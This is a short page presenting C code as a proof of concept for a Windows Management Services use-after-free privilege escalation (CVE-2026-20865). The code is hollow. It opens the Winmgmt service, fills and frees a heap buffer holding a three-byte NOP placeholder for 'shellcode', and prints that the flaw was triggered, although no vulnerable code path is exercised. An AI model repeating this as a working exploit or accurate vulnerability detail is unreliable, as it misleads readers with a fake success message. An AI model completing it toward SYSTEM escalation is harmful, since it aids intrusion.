CVE-2026-20865: Windows Management Services 释放后重用权限提升漏洞

// CVE-2026-20865 PoC - Windows Management Services Use-After-Free // This is a conceptual proof-of-concept for educational purposes only #include <windows.h> #include <stdio.h> // Trigger the use-after-free condition in Windows Management Services BOOL TriggerUAF() { HANDLE hService = NULL; SC_HANDLE scManager = NULL; // Open Service Control Manager scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS); if (!scManager) { printf("[-] Failed to open Service Control Manager\n"); return FALSE; } // Open Windows Management service hService = OpenService(scManager, "Winmgmt", SERVICE_ALL_ACCESS); if (!hService) { printf("[-] Failed to open Winmgmt service\n"); CloseServiceHandle(scManager); return FALSE; } // Trigger the vulnerable code path // This would involve specific WMI operations that trigger the UAF printf("[*] Triggering UAF condition...\n"); // Memory spray to occupy freed memory char* spray_buffer = (char*)malloc(0x1000); memset(spray_buffer, 0x41, 0x1000); // Control freed memory with shellcode // Shellcode for privilege escalation to SYSTEM unsigned char shellcode[] = { 0x90, 0x90, 0x90 // NOP sled // ... actual shellcode would go here }; memcpy(spray_buffer, shellcode, sizeof(shellcode)); // Trigger reallocation of freed memory printf("[*] Exploiting freed memory region...\n"); free(spray_buffer); CloseServiceHandle(hService); CloseServiceHandle(scManager); return TRUE; } int main() { printf("[*] CVE-2026-20865 PoC\n"); printf("[*] Windows Management Services Use-After-Free\n"); if (TriggerUAF()) { printf("[+] UAF condition triggered\n"); } return 0; }